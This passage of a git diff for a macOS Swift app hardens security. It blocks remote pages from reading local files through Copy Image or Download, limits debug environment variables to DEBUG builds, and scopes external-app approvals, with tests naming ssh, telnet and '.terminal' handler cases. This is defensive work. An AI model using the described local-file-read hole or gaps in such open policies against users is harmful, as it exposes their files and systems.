URL) -> OpenURLAction.Result { + if ExternalOpenPolicy.opensWithoutPrompt(url) { return .systemAction } + if url.isFileURL, + ["md", "markdown"].contains(url.pathExtension.lowercased()), + let workspace = AppDelegate.shared?.tabManager?.selectedWorkspace, + let paneId = workspace.bonsplitController.focusedPaneId ?? workspace.bonsplitController.allPaneIds.first, + workspace.newMarkdownSurface(inPane: paneId, filePath: url.path, focus: true) != nil { + return .handled + } + ExternalOpenPolicy.confirmAndOpen(url) + return .handled + } +} + // MARK: - MarkdownDocumentView /// The full-document Markdown rendering boundary. @@ -409,6 +430,7 @@ struct MarkdownDocumentView: View { } } } + .environment(\.openURL, OpenURLAction { MarkdownLinkRouter.open($0) }) } private var theme: Theme { diff --git a/Sources/Panels/Omnibar.swift b/Sources/Panels/Omnibar.swift index 3e1faf154..719f892ab 100644 --- a/Sources/Panels/Omnibar.swift +++ b/Sources/Panels/Omnibar.swift @@ -147,11 +147,13 @@ func omnibarSuggestionSupportsAutocompletion(query: String, suggestion: OmnibarS if case .search = suggestion.kind { return false } if case .remote = suggestion.kind { return false } guard let completion = omnibarSuggestionCompletion(for: suggestion) else { return false } - // Reject URLs whose host lacks a TLD (e.g. "https://news." → host "news"). + // Reject a half-typed host ending in a dot (e.g. "https://news." → host "news."). + // Dotless hosts ("my-nas", "localhost") and IP literals complete normally. if let components = URLComponents(string: completion), - let host = components.host?.lowercased() { - let trimmedHost = host.hasSuffix(".") ? String(host.dropLast()) : host - if !trimmedHost.contains(".") { return false } + let host = components.host?.lowercased(), + host.hasSuffix("."), + !host.dropLast().contains(".") { + return false } let title = omnibarSuggestionTitle(for: suggestion) return omnibarSuggestionMatchesTypedPrefix( @@ -927,7 +929,11 @@ struct OmnibarSuggestion: Identifiable, Hashable { var primaryText: String { switch kind { case .search(let engineName, let q): - return "Search \(engineName) for \"\(q)\"" + return String( + format: String(localized: "shell.omnibar.searchFor", defaultValue: "Search %1$@ for \"%2$@\""), + engineName, + q + ) case .navigate(let url): return Self.displayURLText(for: url) case .history(let url, let title): diff --git a/Sources/Panels/OmnibarSuggestionsView.swift b/Sources/Panels/OmnibarSuggestionsView.swift index e2af3a425..df289fc14 100644 --- a/Sources/Panels/OmnibarSuggestionsView.swift +++ b/Sources/Panels/OmnibarSuggestionsView.swift @@ -221,7 +221,10 @@ struct OmnibarSuggestionsView: View { .accessibilityIdentifier("BrowserOmnibarSuggestions.Row.\(idx)") .accessibilityValue( idx == selectedIndex - ? "selected \(item.listText)" + ? String( + format: String(localized: "shell.omnibar.suggestion.selected", defaultValue: "selected %@"), + item.listText + ) : item.listText ) .onHover { hovering in diff --git a/Sources/Panels/ProgramaWebView.swift b/Sources/Panels/ProgramaWebView.swift index a49eafa1d..3195596d9 100644 --- a/Sources/Panels/ProgramaWebView.swift +++ b/Sources/Panels/ProgramaWebView.swift @@ -486,6 +486,7 @@ final class ProgramaWebView: WKWebView { ) } #endif + lastKeyDownTimestamp = event.timestamp // Some Cmd-based key paths in WebKit don't consistently invoke performKeyEquivalent. // Route them through the same app-level shortcut handler as a fallback. if event.modifierFlags.intersection(.deviceIndependentFlagsMask).contains(.command), @@ -508,6 +509,13 @@ final class ProgramaWebView: WKWebView { /// `NSEvent.timestamp` (system uptime) of the last native left mouse-down. Design Mode uses it /// to reject `pick` messages that were not preceded by a real click. private(set) var lastPrimaryMouseDownTimestamp: TimeInterval? + /// `NSEvent.timestamp` of the last native keyDown delivered to this web view. + private(set) var lastKeyDownTimestamp: TimeInterval? + + /// A real click or key press reached this web view within `ExternalOpenPolicy.nativeGestureWindow`. + func hasRecentNativeGesture(now: TimeInterval = ProcessInfo.processInfo.systemUptime) -> Bool { + ExternalOpenPolicy.isRecentNativeGesture([lastPrimaryMouseDownTimestamp, lastKeyDownTimestamp], now: now) + } override func mouseDown(with event: NSEvent) { #if DEBUG @@ -576,30 +584,6 @@ final class ProgramaWebView: WKWebView { super.otherMouseUp(with: event) } - /// Finds the nearest anchor element at a given view-local point. - /// Used as a context-menu download fallback. - private func findLinkAtPoint(_ point: NSPoint, completion: @escaping (URL?) -> Void) { - let flippedY = bounds.height - point.y - let js = """ - (() => { - let el = document.elementFromPoint(\(point.x), \(flippedY)); - while (el) { - if (el.tagName === 'A' && el.href) return el.href; - el = el.parentElement; - } - return ''; - })(); - """ - evaluateJavaScript(js) { result, _ in - guard let href = result as? String, !href.isEmpty, - let url = URL(string: href) else { - completion(nil) - return - } - completion(url) - } - } - // MARK: - Context menu download support /// The last context-menu point in view coordinates. @@ -799,7 +783,14 @@ final class ProgramaWebView: WKWebView { private func isDownloadableScheme(_ url: URL) -> Bool { let scheme = url.scheme?.lowercased() ?? "" - return scheme == "http" || scheme == "https" || scheme == "file" + if scheme == "file" { return pageAllowsLocalFileTransfer } + return scheme == "http" || scheme == "https" + } + + /// A remote page can point an or link at any local path; only a page that is itself + /// a local file may have Copy Image / Download read local files. + private var pageAllowsLocalFileTransfer: Bool { + url?.isFileURL == true } private func isDataURLScheme(_ url: URL) -> Bool { @@ -1328,6 +1319,11 @@ final class ProgramaWebView: WKWebView { } if scheme == "file" { + guard pageAllowsLocalFileTransfer else { + notifyContextMenuDownloadState(false) + debugContextDownload("browser.ctxdl.file trace=\(traceID) stage=refused reason=remotePage") + return + } DispatchQueue.global(qos: .userInitiated).async { let readResult = Result { try BrowserContextTransferPolicy.boundedFileData(from: url) } DispatchQueue.main.async { @@ -1557,6 +1553,11 @@ final class ProgramaWebView: WKWebView { } if scheme == "file" { + guard pageAllowsLocalFileTransfer else { + debugContextDownload("browser.ctxcopy.fetch trace=\(traceID) stage=fileRefused reason=remotePage") + completion(nil) + return + } DispatchQueue.global(qos: .userInitiated).async { let data = try? BrowserContextTransferPolicy.boundedFileData(from: sourceURL) DispatchQueue.main.async { @@ -2107,71 +2108,27 @@ final class ProgramaWebView: WKWebView { ) } - // Fallback 2: simpler nearest-anchor lookup. - self.findLinkAtPoint(point) { fallbackURL in - self.debugContextDownload( - "browser.ctxdl.resolve trace=\(traceID) kind=linked nearestAnchorURL=\(fallbackURL?.absoluteString ?? "nil")" - ) - guard let fallbackURL else { - if let dataImageURL { - self.debugContextDownload( - "browser.ctxdl.resolve trace=\(traceID) kind=linked fallbackToDataURL=1" - ) - self.startContextMenuDownload( - dataImageURL, - sender: sender, - fallbackAction: fallback.action, - fallbackTarget: fallback.target, - traceID: traceID - ) - return - } - self.debugInspectElementsAtPoint(point, traceID: traceID, kind: "linked") - self.runContextMenuFallback( - action: fallback.action, - target: fallback.target, - sender: sender, - traceID: traceID, - reason: "no_link_or_image_url" - ) - return - } - let normalized = self.normalizedLinkedDownloadURL(fallbackURL) + if let dataImageURL { self.debugContextDownload( - "browser.ctxdl.resolve trace=\(traceID) kind=linked normalizedNearestAnchorURL=\(normalized.absoluteString)" + "browser.ctxdl.resolve trace=\(traceID) kind=linked fallbackToDataURL=1" ) - guard self.isDownloadSupportedScheme(normalized) else { - if let dataImageURL { - self.debugContextDownload( - "browser.ctxdl.resolve trace=\(traceID) kind=linked fallbackToDataURL=1" - ) - self.startContextMenuDownload( - dataImageURL, - sender: sender, - fallbackAction: fallback.action, - fallbackTarget: fallback.target, - traceID: traceID - ) - return - } - self.debugInspectElementsAtPoint(point, traceID: traceID, kind: "linked") - self.runContextMenuFallback( - action: fallback.action, - target: fallback.target, - sender: sender, - traceID: traceID, - reason: "nearest_anchor_unsupported_scheme" - ) - return - } self.startContextMenuDownload( - normalized, + dataImageURL, sender: sender, fallbackAction: fallback.action, fallbackTarget: fallback.target, traceID: traceID ) + return } + self.debugInspectElementsAtPoint(point, traceID: traceID, kind: "linked") + self.runContextMenuFallback( + action: fallback.action, + target: fallback.target, + sender: sender, + traceID: traceID, + reason: "no_link_or_image_url" + ) } } } diff --git a/Sources/ProgramaApp.swift b/Sources/ProgramaApp.swift index 3e480b88f..11b7e97cf 100644 --- a/Sources/ProgramaApp.swift +++ b/Sources/ProgramaApp.swift @@ -101,13 +101,21 @@ struct programaApp: App { // Never returns if the holder-mode argument is present. SessionEscrowHolder.runIfRequested() + // First instance wins. Exits here when another instance is live, before any + // migration, configuration or history rotation below can touch shared state. + if !AppDelegate.detectRunningUnderXCTest(ProcessInfo.processInfo.environment) { + AppDelegate.deferToExistingInstanceIfNeeded() + } + // Writing to a socket whose peer has hung up raises SIGPIPE, whose // default disposition kills the process. Programa's socket/CLI // clients can disconnect at any moment, so this must be ignored and // surfaced as an EPIPE write error instead. signal(SIGPIPE, SIG_IGN) +#if DEBUG UITestLaunchManifest.applyIfPresent() +#endif if SocketControlSettings.shouldBlockUntaggedDebugLaunch() { Self.terminateForMissingLaunchTag() @@ -282,11 +290,13 @@ struct programaApp: App { programaConfigStore.wireDirectoryTracking(tabManager: tabManager) programaConfigStore.loadAll() applyAppearance() +#if DEBUG if ProcessInfo.processInfo.environment["PROGRAMA_UI_TEST_SHOW_SETTINGS"] == "1" { DispatchQueue.main.async { appDelegate.openPreferencesWindow(debugSource: "uiTestShowSettings") } } +#endif } .onChange(of: appearanceMode) { applyAppearance() @@ -1653,7 +1663,11 @@ final class SettingsWindowController: NSWindowController, NSWindowDelegate { } private func writeFocusDiagnosticsIfNeeded(stage: String) { +#if DEBUG let env = ProcessInfo.processInfo.environment +#else + let env: [String: String] = [:] +#endif guard let path = env["PROGRAMA_UI_TEST_DIAGNOSTICS_PATH"], !path.isEmpty else { return } var payload = loadFocusDiagnostics(at: path) @@ -1966,8 +1980,14 @@ enum ProgramaRuntimeDebugCapture { let sessionID: String } + /// Release builds never read these variables: an inherited environment must not make the + /// app post terminal state to a URL. private static let configuration: Configuration? = { +#if DEBUG let env = ProcessInfo.processInfo.environment +#else + let env: [String: String] = [:] +#endif guard let baseURLString = env["PROGRAMA_RUNTIME_DEBUG_BASE_URL"]?.trimmingCharacters(in: .whitespacesAndNewlines), let baseURL = URL(string: baseURLString), let token = env["PROGRAMA_RUNTIME_DEBUG_TOKEN"]?.trimmingCharacters(in: .whitespacesAndNewlines), diff --git a/Sources/TabManager.swift b/Sources/TabManager.swift index 0a033e1cf..0002b6705 100644 --- a/Sources/TabManager.swift +++ b/Sources/TabManager.swift @@ -632,7 +632,10 @@ class TabManager: ObservableObject { weak var window: NSWindow? var onWindowCloseTeardown: (() -> Void)? - @Published var tabs: [Workspace] = [] + /// Kept in sidebar hierarchy order (see `canonicalizeHierarchyOrderIfNeeded`). + @Published var tabs: [Workspace] = [] { + didSet { canonicalizeHierarchyOrderIfNeeded() } + } @Published var isWorkspaceCycleHot: Bool = false @Published private(set) var pendingBackgroundWorkspaceLoadIds: Set = [] @Published private(set) var debugPinnedWorkspaceLoadIds: Set = [] @@ -1858,14 +1861,52 @@ class TabManager: ObservableObject { tabs = selectedPinned + remainingPinned + selectedUnpinned + remainingUnpinned } + /// Moves the notifying workspace's top-level group (root ancestor plus its children) to the + /// top; a child never moves away from its parent. func moveTabToTopForNotification(_ tabId: UUID) { - guard let index = tabs.firstIndex(where: { $0.id == tabId }) else { return } + canonicalizeHierarchyOrderIfNeeded() + guard let rootId = hierarchyRootId(of: tabId), + let index = tabs.firstIndex(where: { $0.id == rootId }) else { return } let pinnedCount = tabs.filter { $0.isPinned }.count guard index != pinnedCount else { return } let tab = tabs[index] guard !tab.isPinned else { return } - tabs.remove(at: index) - tabs.insert(tab, at: pinnedCount) + var reordered = tabs + reordered.remove(at: index) + reordered.insert(tab, at: min(pinnedCount, reordered.count)) + tabs = reordered + } + + /// The sidebar nests a workspace under its worktree parent, else its agent parent. + private func hierarchyParentId(of workspace: Workspace) -> UUID? { + workspace.worktreeParentWorkspaceId ?? workspace.agentParentWorkspaceId + } + + private func hierarchyRootId(of tabId: UUID) -> UUID? { + let byId = Dictionary(tabs.map { ($0.id, $0) }, uniquingKeysWith: { first, _ in first }) + guard var current = byId[tabId] else { return nil } + var visited: Set = [current.id] + while let parentId = hierarchyParentId(of: current), + let parent = byId[parentId], + visited.insert(parentId).inserted { + current = parent + } + return current.id + } + + /// ⌘1-9, Move Up/Down and drop planning index `tabs`, so `tabs` must match the sidebar: + /// every child directly after its parent (depth-first, siblings in their current order). + /// Reorders of a parent therefore carry its children. Call after setting a parent id on a + /// workspace that is already in `tabs`. + func canonicalizeHierarchyOrderIfNeeded() { + guard tabs.contains(where: { hierarchyParentId(of: $0) != nil }) else { return } + let entries = tabs.map { + SidebarWorkspaceHierarchyEntry(id: $0.id, parentId: hierarchyParentId(of: $0), isFolder: false, isCollapsed: false) + } + let orderedIds = SidebarWorkspaceHierarchy.visibleWorkspaceIds(entries) + guard orderedIds.count == tabs.count, orderedIds != tabs.map(\.id) else { return } + let byId = Dictionary(tabs.map { ($0.id, $0) }, uniquingKeysWith: { first, _ in first }) + tabs = orderedIds.compactMap { byId[$0] } } @discardableResult @@ -2371,9 +2412,14 @@ class TabManager: ObservableObject { let count = plan.panelIds.count let titleLines = plan.titles.map { "• \($0)" }.joined(separator: "\n") - let message = "This is about to close \(count) tab\(count == 1 ? "" : "s") in this pane:\n\(titleLines)" + let format = count == 1 + ? String(localized: "shell.closeOtherTabs.message.one", defaultValue: "This is about to close 1 tab in this pane:\n%@") + : String(localized: "shell.closeOtherTabs.message.other", defaultValue: "This is about to close %1$lld tabs in this pane:\n%2$@") + let message = count == 1 + ? String(format: format, titleLines) + : String(format: format, locale: .current, Int64(count), titleLines) guard confirmClose( - title: "Close other tabs?", + title: String(localized: "dialog.closeOtherTabs.title", defaultValue: "Close other tabs?"), message: message, acceptCmdD: false ) else { return } @@ -2453,6 +2499,17 @@ class TabManager: ObservableObject { } } + /// Close-window gate for user-initiated closes (red button, Close Window shortcut). + /// Uses the same "needs confirm" rule and dialog as closing the last workspace. + func confirmCloseWindowIfNeeded() -> Bool { + guard tabs.contains(where: { workspaceNeedsConfirmClose($0) }) else { return true } + let plan = closeWorkspacesPlan(for: tabs) + let message = tabs.count == 1 + ? String(localized: "shell.closeWindow.singleWorkspace.message", defaultValue: "This will close the current window and all of its panels.") + : plan.message + return confirmClose(title: plan.title, message: message, acceptCmdD: plan.acceptCmdD) + } + func selectWorkspace(_ workspace: Workspace) { #if DEBUG debugPrimeWorkspaceSwitchTrigger("select", to: workspace.id) @@ -2545,7 +2602,7 @@ class TabManager: ObservableObject { if let collapsed, !collapsed.isEmpty { return collapsed } - return "Untitled Tab" + return String(localized: "shell.closeOtherTabs.untitledTab", defaultValue: "Untitled Tab") } private func orderedClosableWorkspaces(_ workspaceIds: [UUID], allowPinned: Bool) -> [Workspace] { diff --git a/Sources/WindowOverlayControllers.swift b/Sources/WindowOverlayControllers.swift index 3b4152842..0fd588751 100644 --- a/Sources/WindowOverlayControllers.swift +++ b/Sources/WindowOverlayControllers.swift @@ -119,6 +119,11 @@ final class WindowCommandPaletteOverlayController: NSObject { private var focusLockTimer: DispatchSourceTimer? private var scheduledFocusWorkItem: DispatchWorkItem? private var isPaletteVisible = false + + /// Visible-overlay state read on every keyDown; O(1), unlike a view-tree search. + var isPresented: Bool { + containerView.window != nil && !containerView.isHidden && containerView.alphaValue > 0.001 + } private var windowDidBecomeKeyObserver: NSObjectProtocol? private var windowDidResignKeyObserver: NSObjectProtocol? @@ -574,6 +579,12 @@ final class WindowCommandPaletteOverlayController: NSObject { } } +/// True when `window` has a mounted, visible palette overlay. Never creates a controller. +@MainActor +func commandPaletteOverlayIsPresented(in window: NSWindow) -> Bool { + (objc_getAssociatedObject(window, &commandPaletteWindowOverlayKey) as? WindowCommandPaletteOverlayController)?.isPresented ?? false +} + @MainActor func commandPaletteWindowOverlayController(for window: NSWindow) -> WindowCommandPaletteOverlayController { if let existing = objc_getAssociatedObject(window, &commandPaletteWindowOverlayKey) as? WindowCommandPaletteOverlayController { diff --git a/Sources/WindowSwizzles.swift b/Sources/WindowSwizzles.swift index 908af06b5..9e5da6f4c 100644 --- a/Sources/WindowSwizzles.swift +++ b/Sources/WindowSwizzles.swift @@ -42,11 +42,12 @@ private final class ProgramaFieldEditorOwningWebViewBox: NSObject { } } +#if DEBUG // Widened from `private extension` to `extension`: AppDelegate.installWindowResponderSwizzles() // (in AppDelegate.swift) references these @objc methods via #selector(...) for method swizzling. Refs #95. +// DEBUG-only: the swizzle exists solely for typing-timing instrumentation. extension NSApplication { @objc func programa_applicationSendEvent(_ event: NSEvent) { -#if DEBUG let typingTimingStart = event.type == .keyDown ? ProgramaTypingTiming.start() : nil let phaseTotalStart = event.type == .keyDown ? ProcessInfo.processInfo.systemUptime : 0 if event.type == .keyDown { @@ -69,10 +70,10 @@ extension NSApplication { ) } } -#endif programa_applicationSendEvent(event) } } +#endif // Widened from `private extension` to `extension`: AppDelegate.installWindowResponderSwizzles() // (in AppDelegate.swift) references these @objc methods via #selector(...) for method swizzling. Refs #95. @@ -834,3 +835,52 @@ extension NSWindow { } } + +// User-initiated main-window close (red button, File > Close, Close Window shortcut) +// confirms like closing the last workspace when a workspace has a running process. +// Programmatic `close()` (socket `window.close`, last-workspace close, termination) skips +// this gate. The red button's action is proxied rather than using `windowShouldClose` +// because SwiftUI owns the launch window's delegate; `performClose:` reaches the same +// proxy because AppKit implements it by clicking the close button. +private var programaCloseButtonOriginalActionKey: UInt8 = 0 + +private final class ProgramaCloseButtonOriginalAction: NSObject { + let action: Selector + weak var target: AnyObject? + + init(action: Selector, target: AnyObject?) { + self.action = action + self.target = target + } +} + +extension NSWindow { + /// Idempotent; re-run on every main-window register because AppKit can rebuild titlebar buttons. + func programaInstallMainWindowCloseConfirmation() { + guard let button = standardWindowButton(.closeButton), + let originalAction = button.action, + originalAction != #selector(NSWindow.programa_mainWindowCloseButtonPressed(_:)) else { return } + objc_setAssociatedObject( + self, + &programaCloseButtonOriginalActionKey, + ProgramaCloseButtonOriginalAction(action: originalAction, target: button.target), + .OBJC_ASSOCIATION_RETAIN_NONATOMIC + ) + button.target = self + button.action = #selector(NSWindow.programa_mainWindowCloseButtonPressed(_:)) + } + + @objc func programa_mainWindowCloseButtonPressed(_ sender: Any?) { + if let app = AppDelegate.shared, !app.isTerminatingApp, + let context = app.mainWindowContexts[ObjectIdentifier(self)], + !context.tabManager.confirmCloseWindowIfNeeded() { + return + } + guard let original = objc_getAssociatedObject(self, &programaCloseButtonOriginalActionKey) + as? ProgramaCloseButtonOriginalAction else { + close() + return + } + NSApp.sendAction(original.action, to: original.target ?? self, from: sender) + } +} diff --git a/programaTests/AppDelegateShortcutRoutingTests.swift b/programaTests/AppDelegateShortcutRoutingTests.swift index 3406d5c5d..a943f9df4 100644 --- a/programaTests/AppDelegateShortcutRoutingTests.swift +++ b/programaTests/AppDelegateShortcutRoutingTests.swift @@ -5566,7 +5566,7 @@ final class AppDelegateShortcutRoutingTests: XCTestCase { /// `commandPaletteOverlayContainerIdentifier`) as a sibling of `contentView`, not /// nested inside it. Adding a second, decoy view with the same identifier under /// `contentView` does not shadow it -- the production tree walk - /// (`AppDelegate.commandPaletteOverlayContainer(in:)`) finds the real one first and + /// (`commandPaletteOverlayIsPresented(in:)`) finds the real one first and /// returns immediately, so it never reaches a test's own decoy node. Tests that need /// to simulate the overlay's visual state must locate and mutate this real view. private func findRealCommandPaletteOverlayContainer(in window: NSWindow) -> NSView? { diff --git a/programaTests/BrowserConfigTests.swift b/programaTests/BrowserConfigTests.swift index 1a4e62e13..1f029071c 100644 --- a/programaTests/BrowserConfigTests.swift +++ b/programaTests/BrowserConfigTests.swift @@ -4970,7 +4970,7 @@ final class ExternalOpenPolicyTests: XCTestCase { } func testAllowlistedAppOpensWithoutPromptButExecutablesAlwaysAsk() throws { - let allow = ["com.tinyspeck.slackmacgap", "com.apple.finder"] + let allow = ["com.tinyspeck.slackmacgap|slack", "com.apple.finder|file"] XCTAssertEqual( ExternalOpenPolicy.requirement(for: try url("slack://open"), handlerBundleIdentifier: "com.tinyspeck.slackmacgap", allowlist: allow, targetIsExecutable: false), .openWithoutPrompt @@ -5033,10 +5033,10 @@ final class ExternalOpenPolicyTests: XCTestCase { let defaults = try XCTUnwrap(UserDefaults(suiteName: suite)) defer { defaults.removePersistentDomain(forName: suite) } XCTAssertEqual(ExternalOpenPolicy.allowlist(defaults: defaults), []) - ExternalOpenPolicy.addToAllowlist("com.example.app", defaults: defaults) - ExternalOpenPolicy.addToAllowlist("com.example.app", defaults: defaults) - ExternalOpenPolicy.addToAllowlist("bad\nid", defaults: defaults) - XCTAssertEqual(ExternalOpenPolicy.allowlist(defaults: defaults), ["com.example.app"]) + ExternalOpenPolicy.addToAllowlist("com.example.app", scheme: "example", defaults: defaults) + ExternalOpenPolicy.addToAllowlist("com.example.app", scheme: "example", defaults: defaults) + ExternalOpenPolicy.addToAllowlist("bad\nid", scheme: "example", defaults: defaults) + XCTAssertEqual(ExternalOpenPolicy.allowlist(defaults: defaults), ["com.example.app|example"]) } func testOnlyClicksAndFormSubmitsCountAsUserGestures() { diff --git a/programaTests/ShellFixSweepSHELTests.swift b/programaTests/ShellFixSweepSHELTests.swift new file mode 100644 index 000000000..54ed5ebdf --- /dev/null +++ b/programaTests/ShellFixSweepSHELTests.swift @@ -0,0 +1,215 @@ +import XCTest +import AppKit + +#if canImport(Programa_DEV) +@testable import Programa_DEV +#elseif canImport(Programa) +@testable import Programa +#endif + +// MARK: - SHEL-03: window close gate + +@MainActor +final class WindowCloseGateTests: XCTestCase { + func testCancelledConfirmationKeepsTheWindowAndAsksExactlyOnce() throws { + let manager = TabManager() + let workspace = try XCTUnwrap(manager.selectedWorkspace) + let panelId = try XCTUnwrap(workspace.focusedPanelId) + let terminal = try XCTUnwrap(workspace.terminalPanel(for: panelId)) + terminal.surface.setNeedsConfirmCloseOverrideForTesting(false) + workspace.updatePanelShellActivityState(panelId: panelId, state: .commandRunning) + + var titles: [String] = [] + manager.confirmCloseHandler = { title, _, _ in + titles.append(title) + return false + } + + XCTAssertFalse(manager.confirmCloseWindowIfNeeded(), "Cancel must veto the window close") + XCTAssertEqual(titles, [String(localized: "dialog.closeWindow.title", defaultValue: "Close window?")]) + } + + func testAcceptedConfirmationAllowsTheClose() throws { + let manager = TabManager() + let workspace = try XCTUnwrap(manager.selectedWorkspace) + let panelId = try XCTUnwrap(workspace.focusedPanelId) + workspace.updatePanelShellActivityState(panelId: panelId, state: .commandRunning) + + var promptCount = 0 + manager.confirmCloseHandler = { _, _, _ in + promptCount += 1 + return true + } + + XCTAssertTrue(manager.confirmCloseWindowIfNeeded()) + XCTAssertEqual(promptCount, 1) + } + + func testIdleWindowClosesWithoutPrompt() throws { + let manager = TabManager() + let workspace = try XCTUnwrap(manager.selectedWorkspace) + let panelId = try XCTUnwrap(workspace.focusedPanelId) + workspace.updatePanelShellActivityState(panelId: panelId, state: .promptIdle) + + var promptCount = 0 + manager.confirmCloseHandler = { _, _, _ in + promptCount += 1 + return false + } + + XCTAssertTrue(manager.confirmCloseWindowIfNeeded()) + XCTAssertEqual(promptCount, 0, "Nothing is running, so there is nothing to confirm") + } +} + +// MARK: - SHEL-06 / SHEL-07: external open policy + +final class ExternalOpenPolicySHELTests: XCTestCase { + func testNativeGestureWindowAcceptsOnlyRecentPastTimestamps() { + XCTAssertTrue(ExternalOpenPolicy.isRecentNativeGesture([99.5], now: 100)) + XCTAssertTrue(ExternalOpenPolicy.isRecentNativeGesture([nil, 99.5], now: 100)) + XCTAssertFalse(ExternalOpenPolicy.isRecentNativeGesture([nil], now: 100)) + XCTAssertFalse(ExternalOpenPolicy.isRecentNativeGesture([], now: 100)) + XCTAssertFalse(ExternalOpenPolicy.isRecentNativeGesture([98], now: 100), "Stale gesture must not unlock a remembered approval") + XCTAssertFalse(ExternalOpenPolicy.isRecentNativeGesture([101], now: 100), "A timestamp in the future is not a past gesture") + } + + func testRememberedApprovalIsIgnoredWithoutANativeGesture() throws { + let url = try XCTUnwrap(URL(string: "ssh://x")) + let allow = [ExternalOpenPolicy.allowlistKey(bundleIdentifier: "com.apple.Terminal", scheme: "ssh")] + XCTAssertEqual( + ExternalOpenPolicy.requirement(for: url, handlerBundleIdentifier: "com.apple.Terminal", allowlist: allow, targetIsExecutable: false, allowRememberedApproval: false), + .prompt(offerAlwaysAllow: true) + ) + XCTAssertEqual( + ExternalOpenPolicy.requirement(for: url, handlerBundleIdentifier: "com.apple.Terminal", allowlist: allow, targetIsExecutable: false, allowRememberedApproval: true), + .openWithoutPrompt + ) + } + + func testApprovalIsScopedToTheSchemeItWasGivenFor() throws { + let allow = ["com.apple.Terminal|ssh"] + XCTAssertEqual( + ExternalOpenPolicy.requirement(for: try XCTUnwrap(URL(string: "ssh://x")), handlerBundleIdentifier: "com.apple.Terminal", allowlist: allow, targetIsExecutable: false), + .openWithoutPrompt + ) + XCTAssertEqual( + ExternalOpenPolicy.requirement(for: try XCTUnwrap(URL(string: "telnet://x")), handlerBundleIdentifier: "com.apple.Terminal", allowlist: allow, targetIsExecutable: false), + .prompt(offerAlwaysAllow: true), + "Approving Terminal for ssh must not approve Terminal for another scheme" + ) + } + + func testTerminalDocumentAlwaysPromptsWithoutRememberOffer() { + let allow = ["com.apple.Terminal|file"] + XCTAssertEqual( + ExternalOpenPolicy.requirement( + for: URL(fileURLWithPath: "/x/setup.terminal"), + handlerBundleIdentifier: "com.apple.Terminal", + allowlist: allow, + targetIsExecutable: ExternalOpenPolicy.targetIsExecutable(URL(fileURLWithPath: "/x/setup.terminal")) + ), + .prompt(offerAlwaysAllow: false) + ) + } + + func testAllowlistDropsLegacyBundleOnlyEntries() throws { + let suite = "ExternalOpenPolicySHELTests.\(UUID().uuidString)" + let defaults = try XCTUnwrap(UserDefaults(suiteName: suite)) + defer { defaults.removePersistentDomain(forName: suite) } + defaults.set("com.apple.Terminal\ncom.apple.Terminal|ssh", forKey: ExternalOpenPolicy.allowlistKey) + XCTAssertEqual(ExternalOpenPolicy.allowlist(defaults: defaults), ["com.apple.Terminal|ssh"]) + } +} + +// MARK: - SHEL-11: omnibar input resolution + +final class BrowserNavigableURLResolutionSHELTests: XCTestCase { + func testHostPortAndSchemeLessInputsResolveToTheRightScheme() { + XCTAssertEqual(resolveBrowserNavigableURL("example.com:8080")?.absoluteString, "http://example.com:8080") + XCTAssertEqual(resolveBrowserNavigableURL("foo.local:3000")?.absoluteString, "http://foo.local:3000") + XCTAssertEqual(resolveBrowserNavigableURL("my-nas:8080")?.absoluteString, "http://my-nas:8080") + XCTAssertEqual(resolveBrowserNavigableURL("localhostile.com")?.absoluteString, "https://localhostile.com", "Only exact loopback hosts get http") + } + + func testFilePathAndAboutBlankPassThrough() { + let file = resolveBrowserNavigableURL("/tmp/a.html") + XCTAssertEqual(file?.isFileURL, true) + XCTAssertEqual(file?.path, "/tmp/a.html") + XCTAssertEqual(resolveBrowserNavigableURL("about:blank")?.absoluteString, "about:blank") + } + + func testNonWebSchemesAreRejected() { + XCTAssertNil(resolveBrowserNavigableURL("mailto:x@y.z")) + } +} + +// MARK: - SHEL-12: design mode payload bounds + +final class DesignModePayloadBoundsTests: XCTestCase { + func testHTMLHasNoLineBreaks() { + let payload = DesignModePickPayload( + html: "a\nb\r", + css: [:], + selector: "div", + rect: DesignModePickRect(x: 0, y: 0, width: 1, height: 1), + url: "https://example.com" + ) + XCTAssertFalse(payload.html.contains("\n")) + XCTAssertFalse(payload.html.contains("\r")) + } + + func testCSSKeysAreCapped() { + var css: [String: String] = [:] + for index in 0..<100 { css["prop-\(index)"] = "v" } + let payload = DesignModePickPayload( + html: "x", + css: css, + selector: "div", + rect: DesignModePickRect(x: 0, y: 0, width: 1, height: 1), + url: "u" + ) + XCTAssertEqual(payload.css.count, DesignModePickPayload.cssKeyLimit) + XCTAssertEqual(DesignModePickPayload.cssKeyLimit, 64) + } + + func testComposedTextIsByteBoundedOnACharacterBoundary() { + let capped = DesignModeTextComposer.capped(String(repeating: "é", count: 20_000)) + XCTAssertLessThanOrEqual(capped.utf8.count, 16_384) + XCTAssertTrue(capped.hasSuffix(DesignModePickPayload.truncationMarker)) + XCTAssertNotNil(String(data: Data(capped.utf8), encoding: .utf8)) + } +} + +// MARK: - SHEL-15: notification reorder keeps children under their parent + +@MainActor +final class NotificationReorderHierarchyTests: XCTestCase { + private func makeManager() -> (TabManager, Workspace, Workspace, Workspace) { + let manager = TabManager() + let a = manager.tabs[0] + let b = manager.addWorkspace() + let c = manager.addWorkspace() + manager.tabs = [a, b, c] + return (manager, a, b, c) + } + + func testChildStaysDirectlyAfterItsParentWhenItNotifies() { + let (manager, a, b, c) = makeManager() + c.agentParentWorkspaceId = a.id + manager.canonicalizeHierarchyOrderIfNeeded() + XCTAssertEqual(manager.tabs.map(\.id), [a.id, c.id, b.id]) + + manager.moveTabToTopForNotification(c.id) + XCTAssertEqual(manager.tabs.map(\.id), [a.id, c.id, b.id], "A child must not leave its parent") + } + + func testNotifyingChildMovesItsWholeGroupToTop() { + let (manager, a, b, c) = makeManager() + c.agentParentWorkspaceId = b.id + manager.canonicalizeHierarchyOrderIfNeeded() + + manager.moveTabToTopForNotification(c.id) + XCTAssertEqual(manager.tabs.map(\.id), [b.id, c.id, a.id]) + } +} diff --git a/programaUITests/WindowCloseConfirmCancelUITests.swift b/programaUITests/WindowCloseConfirmCancelUITests.swift new file mode 100644 index 000000000..2b80d4cb6 --- /dev/null +++ b/programaUITests/WindowCloseConfirmCancelUITests.swift @@ -0,0 +1,95 @@ +import XCTest + +/// SHEL-03: closing a window that has a running process asks exactly once, and Cancel keeps the window. +/// Covers the red close button and Ctrl+Cmd+W on the launch window and on a New Window window. +final class WindowCloseConfirmCancelUITests: XCTestCase { + override func setUp() { + super.setUp() + continueAfterFailure = false + } + + func testRedButtonCancelKeepsLaunchWindow() { + let app = launchWithRunningProcess() + closeAndCancel(app: app, window: app.windows.firstMatch, useNativeButton: true) + } + + func 